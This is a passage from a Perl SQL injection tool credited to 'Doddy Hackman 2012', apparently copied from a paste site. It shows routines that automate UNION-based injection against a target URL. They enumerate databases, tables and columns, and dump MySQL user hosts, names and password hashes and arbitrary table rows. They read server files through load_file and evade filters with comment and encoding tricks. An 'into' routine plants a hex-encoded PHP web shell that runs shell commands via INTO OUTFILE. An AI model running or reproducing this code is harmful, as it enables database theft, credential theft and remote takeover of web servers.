  368. } else {
  369. print "\n[-] information_schema = ERROR\n";
  370. }}
  371.  
  372. sub schemadb {
  373. my ($page,$bypass,$save) = @_;
  374. my $page1 = $page;
  375. savefile($save.".txt","\n");
  376. print "\n\n[+] Searching DBS\n\n";
  377. ($pass1,$pass2) = &bypass($bypass);
  378. $page=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  379. $code = toma($page.$pass1."from".$pass1."information_schema.schemata");
  380. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  381. my $limita = $1;
  382. print "[+] Databases Length : $limita\n\n";
  383. savefile($save.".txt","[+] Databases Length : $limita\n");
  384. $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),schema_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  385. $real = "1";
  386. for my $limit(0..$limita) {
  387. $code = toma($page1.$pass1."from".$pass1."information_schema.schemata".$pass1."limit".$pass1.$limit.",1".$pass2);
  388. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  389. my $control = $1;
  390. if ($control ne "information_schema" and $control ne "mysql" and $control ne "phpmyadmin") {
  391. print "[Database $real Found] $control\n";
  392. savefile($save.".txt","[Database $real Found] : $control");
  393. $real++;
  394. }
  395. }
  396. }
  397. } else {
  398. print "[-] information_schema = ERROR\n";
  399. }
  400. }
  401.  
  402. sub schematablesdb {
  403. my $page = $_[0];
  404. my $db = $_[2];
  405. my $page1 = $page;
  406. savefile($_[3].".txt","\n");
  407. print "\n\n[+] Searching tables with DB $db\n\n";
  408. ($pass1,$pass2) = &bypass($_[1]);
  409. savefile($_[3].".txt","[DB] : $db");
  410. $page =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  411. $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  412. $code = toma($page1.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2);
  413. #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2."\n";
  414. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {  
  415. print "[+] Tables Length :  $1\n\n";
  416. savefile($_[3].".txt","[+] Tables Length :  $1\n");
  417. my $limit = $1;
  418. $real = "1";
  419. for my $lim(0..$limit) {
  420. $code1 = toma($page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2);
  421. #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2."\n";
  422. if ($code1 =~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  423. my $table = $1;
  424. chomp $table;
  425. savefile($_[3].".txt","[Table $real Found : $table ]");
  426. print "[Table $real Found : $table ]\n";
  427. $real++;
  428. }}
  429. } else {
  430. print "\n[-] information_schema = ERROR\n";
  431. }}
  432.  
  433. sub schemacolumnsdb {
  434. my ($page,$bypass,$db,$table,$save) = @_;
  435. my $page3 = $page;
  436. my $page4 = $page;
  437. print "\n\n[+] Searching columns in table $table with DB $db\n\n";
  438. savefile($save.".txt","\n");
  439. ($pass1,$pass2) = &bypass($_[1]);
  440. savefile($save.".txt","\n[DB] : $db");
  441. savefile($save.".txt","[Table] : $table");
  442. $page3=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  443. $code3 = toma($page3.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii($db).")".$pass2);
  444. if ($code3=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  445. print "\n[Columns length : $1 ]\n\n";
  446. savefile($save.".txt","[Columns length : $1 ]\n");
  447. my $si = $1;
  448. chomp $si;
  449. $page4=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  450. $real = "1";
  451. for my $limit2(0..$si) {
  452. $code4 = toma($page4.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$limit2.",1".$pass2);
  453. if ($code4=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  454. print "[Column $real] : $1\n";
  455. savefile($save.".txt","[Column $real] : $1");
  456. $real++;
  457. }
  458. }
  459. } else {
  460. print "\n[-] information_schema = ERROR\n";
  461. }
  462. }
  463.  
  464. sub mysqluser {
  465. my ($page,$bypass,$save) = @_;
  466. my $cop = $page;
  467. my $cop1 = $page;
  468. savefile($save.".txt","\n");
  469. print "\n\n[+] Finding mysql.users\n";
  470. ($pass1,$pass2) = &bypass($bypass);
  471. $page =~s/hackman/concat(char(82,65,84,83,88,80,68,79,87,78,49))/;
  472. $code = toma($page.$pass1."from".$pass1."mysql.user".$pass2);
  473. if ($code=~/RATSXPDOWN/ig){
  474. $cop1 =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  475. $code1 = toma($cop1.$pass1."from".$pass1."mysql.user".$pass2);
  476. if ($code1=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  477. print "\n[+] Users Found : $1\n\n";
  478. savefile($save.".txt","\n[+] Users mysql Found : $1\n");
  479. for my $limit(0..$1) {
  480. $cop =~s/hackman/unhex(hex(concat(0x524154535850444f574e,Host,0x524154535850444f574e,User,0x524154535850444f574e,Password,0x524154535850444f574e)))/;
  481. $code = toma($cop.$pass1."from".$pass1."mysql.user".$pass1."limit".$pass1.$limit.",1".$pass2);
  482. if ($code=~/RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN/ig) {
  483. print "[Host] : $1 [User] : $2 [Password] : $3\n";
  484. savefile($save.".txt","[Host] : $1 [User] : $2 [Password] : $3");
  485. } else {
  486. &reload;
  487. }
  488. }
  489. }
  490. } else {
  491. print "\n[-] mysql.user = ERROR\n";
  492. }
  493. }
  494.  
  495. sub fuzz {
  496. my $page = $_[0];
  497. ($pass1,$pass2) = &bypass($_[1]);
  498. my $count = "0";
  499. savefile($_[2].".txt","\n");
  500. print "\n";
  501. if ($_[0] =~/(.*)hackman(.*)/g) {
  502. my $start = $1; my $end = $2;
  503. print "\n[+] Searching tables.....\n\n";
  504. for my $table(@buscar2) {
  505. chomp $table;
  506. $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52))))";
  507. $injection = $start.$concat.$end.$pass1."from".$pass1.$table.$pass2;
  508. $code = toma($injection);
  509. if ($code =~/ERTOR854/g) {
  510. $count++;
  511. print "[Table Found] : $table\n";
  512. savefile($_[2].".txt","[Table Found] : $table");
  513. }}}
  514. if ($count eq "0") { print "[-] Not found any table\n";
  515. &reload;
  516. }
  517. }
  518.  
  519. sub fuzzcol {
  520. my $page = $_[0];
  521. ($pass1,$pass2) = &bypass($_[1]);
  522. my $count = "0";
  523. savefile($_[3].".txt","\n");
  524. print "\n";
  525. if ($_[0] =~/(.*)hackman(.*)/) {
  526. my $start = $1; my $end = $2;
  527. print "\n[+] Searching columns for the table $_[2]...\n\n\n";
  528. savefile($_[3].".txt","[Table] : $_[2]");
  529. for my $columns(@buscar1) {
  530. chomp $columns;
  531. $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),$columns,char(69,82,84,79,82,56,53,52))))";
  532. $code = toma($start.$concat.$end.$pass1."from".$pass1.$_[2].$pass2);
  533. if ($code =~/ERTOR854/g) {
  534. print "[Column Found] : $columns\n";
  535. savefile($_[3].".txt","[Column Found] : $columns");
  536. }
  537. }
  538. }
  539. if ($count eq "0") { print "[-] Not found any column\n";
  540. &reload;
  541. }
  542. }
  543.  
  544. sub load {
  545. savefile($_[2].".txt","\n");
  546. print "\n";
  547. ($pass1,$pass2) = &bypass($_[1]);
  548. if ($_[0] =~/(.*)hackman(.*)/g) {
  549. print "\n[+] Searching files with load_file...\n\n\n";
  550. my $start = $1; my $end = $2;
  551. for my $file(@files) {
  552. chomp $file;
  553. $concat = "unhex(hex(concat(char(107,48,98,114,97),load_file(".encode($file)."),char(107,48,98,114,97))))";
  554. my $code = toma($start.$concat.$end.$pass2);
  555. chomp $code;
  556. if ($code=~/k0bra(.*)k0bra/s) {
  557. print "[File Found] : $file\n";
  558. print "\n[Source Start]\n\n";
  559. print $1;
  560. print "\n\n[Source End]\n\n";
  561. savefile($_[2].".txt","[File Found] : $file");
  562. savefile($_[2].".txt","\n[Source Start]\n");
  563. savefile($_[2].".txt","$1");
  564. savefile($_[2].".txt","\n[Source End]\n");
  565. }}}}
  566.  
  567. sub loadfile {
  568. savefile($_[2].".txt","\n");
  569. ($pass1,$pass2) = &bypass($_[1]);
  570. if ($_[0] =~/(.*)hackman(.*)/g) {
  571. my $start = $1; my $end = $2;
  572. print "\n\n[+] File to read : ";
  573. chomp (my $file = <stdin>);
  574. $concat = "unhex(hex(concat(char(107,48,98,114,97),load_file(".encode($file)."),char(107,48,98,114,97))))";
  575. my $code = toma($start.$concat.$end.$pass2);
  576. chomp $code;
  577. if ($code=~/k0bra(.*)k0bra/s) {
  578. print "[File Found] : $file\n";
  579. print "\n[Source Start]\n\n";
  580. print $1;
  581. print "\n\n[Source End]\n\n";
  582. savefile($_[2].".txt","[File Found] : $file");
  583. savefile($_[2].".txt","\n[Source Start]\n");
  584. savefile($_[2].".txt","$1");
  585. savefile($_[2].".txt","\n[Source End]\n");
  586. }}}
  587.  
  588. sub dump {
  589. savefile($_[5].".txt","\n");
  590. my $page = $_[0];
  591. ($pass1,$pass2) = &bypass($_[4]);
  592. if ($page=~/(.*)hackman(.*)/){
  593. my $start = $1;
  594. my $end = $2;
  595. print "[+] Extracting values...\n\n";
  596. $concatx = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),count($_[1]),char(69,82,84,79,82,56,53,52))))";
  597. $val_code = toma($start.$concatx.$end.$pass1."from".$pass1.$_[3].$pass2);
  598. $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),$_[1],char(69,82,84,79,82,56,53,52),$_[2],char(69,82,84,79,82,56,53,52))))";
  599. if ($val_code=~/ERTOR854(.*)ERTOR854/ig) {
  600. $tota = $1;
  601. print "[+] Table : $_[3]\n";
  602. print "[+] Length of the rows : $tota\n\n";
  603. print "[$_[1]] [$_[2]]\n\n";
  604. savefile($_[5].".txt","[Table] : $_[3]");
  605. savefile($_[5].".txt","[+] Length of the rows: $tota\n");
  606. savefile($_[5].".txt","[$_[1]] [$_[2]]\n");
  607. for my $limit(0..$tota) {
  608. chomp $limit;
  609. $injection = toma($start.$concat.$end.$pass1."from".$pass1.$_[3].$pass1."limit".$pass1.$limit.",1".$pass2);
  610. if ($injection=~/ERTOR854(.*)ERTOR854(.*)ERTOR854/ig) {
  611. savefile($_[5].".txt","[$_[1]] : $1   [$_[2]] : $2");
  612. print "[$_[1]] : $1   [$_[2]] : $2\n";
  613. } else {
  614. print "\n\n[+] Extracting Finish\n";
  615. &reload;
  616. }
  617. }
  618. } else {
  619. print "[-] Not Found any DATA\n\n";
  620. }}}
  621.  
  622.  
  623. sub into {
  624. print "\n\n[Status] : Injecting a SQLI for create a shell\n";
  625. my ($page,$bypass,$dir,$save) = @_;
  626. savefile($save.".txt","\n");
  627. print "\n";
  628. ($pass1,$pass2) = &bypass($bypass);
  629. my ($scheme, $auth, $path, $query, $frag)  = uri_split($page);
  630. if ($path=~/\/(.*)$/) {    
  631. my $path1 = $1;
  632. my $path2 = $path1;
  633. $path2 =~s/$1//;
  634. $dir =~s/$path1//ig;
  635. $shell = $dir."/"."shell.php";
  636. if ($page =~/(.*)hackman(.*)/ig) {
  637. my  ($start,$end) = ($1,$2);
  638. $code = toma($start."0x3c7469746c653e4d696e69205368656c6c20427920446f6464793c2f7469746c653e3c3f7068702069662028697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b7d3f3e".$end.$pass1."into".$pass1."outfile".$pass1."'".$shell."'".$pass2);
  639. $code1 = toma("http://".$auth."/".$path2."/"."shell.php");
  640. if ($code1=~/Mini Shell By Doddy/ig) {
  641. print "[Shell Up] : http://".$auth."/".$path2."/"."shell.php"."\a\a";
  642. savefile($save.".txt","[shell up] : http://".$auth."/".$path2."/"."shell.php");
  643. } else {
  644. print "[Shell] : Not Found";
  645. }
  646. }
  647. }
  648. }
  649.  
  650. sub encode {
  651. my $string = $_[0];
  652. $hex = '0x';
  653. for (split //,$string) {
  654. $hex .= sprintf "%x", ord;
  655. }
  656. return $hex;
  657. }
  658.  
  659. sub decode {
  660. $_[0] =~ s/^0x//;
  661. $encode = join q[], map { chr hex } $_[0] =~ /../g;
  662. return $encode;
  663. }
  664.  
  665. sub bypass {
  666. if ($_[0] eq "/*") { return ("/**/","/**/"); }
  667. elsif ($_[0] eq "%20") { return ("%20","%00"); }
  668. else {return ("+","--");}}
  669.  
  670. sub ascii {
  671. return join ',',unpack "U*",$_[0];
  672. }
  673.  
  674. sub ascii_de {
  675. $_[0] = join q[], map { chr } split q[,],$_[0];
  676. return $_[0];
  677. }
  678.  
  679.  
  680. sub finish {
  681. &copyright;
  682. <STDIN>;
  683. exit(1);
  684. }
  685.  
  686. sub installer {
  687. unless (-d "/logs/webs") {
  688. mkdir("logs/",777);
  689. mkdir("logs/webs/",777);
  690. }
  691. }
  692.  
  693. sub copyright {
  694. print "\n\n\n(C) Doddy Hackman 2012\n\n";
  695. }
  696.  
  697. sub toma {
  698. return $nave->get($_[0])->content;
  699. }
  700.  
  701. sub savefile {
  702. open (SAVE,">>logs/webs/".$_[0]);
  703. print SAVE $_[1]."\n";
  704. close SAVE;
  705. }
  706.  
  707. sub partimealmedio {
  708. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  709. my $save = $auth;
  710. $save=~s/:/_/;
  711. return $save;
  712. }
  713.  
  714. sub clean {
  715. my $os = $^O;
  716. if ($os =~/Win32/ig) {
  717. system("cls");
  718. } else {
  719. system("clear");
  720. }
  721. }
  722.  
  723. # The End ?
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement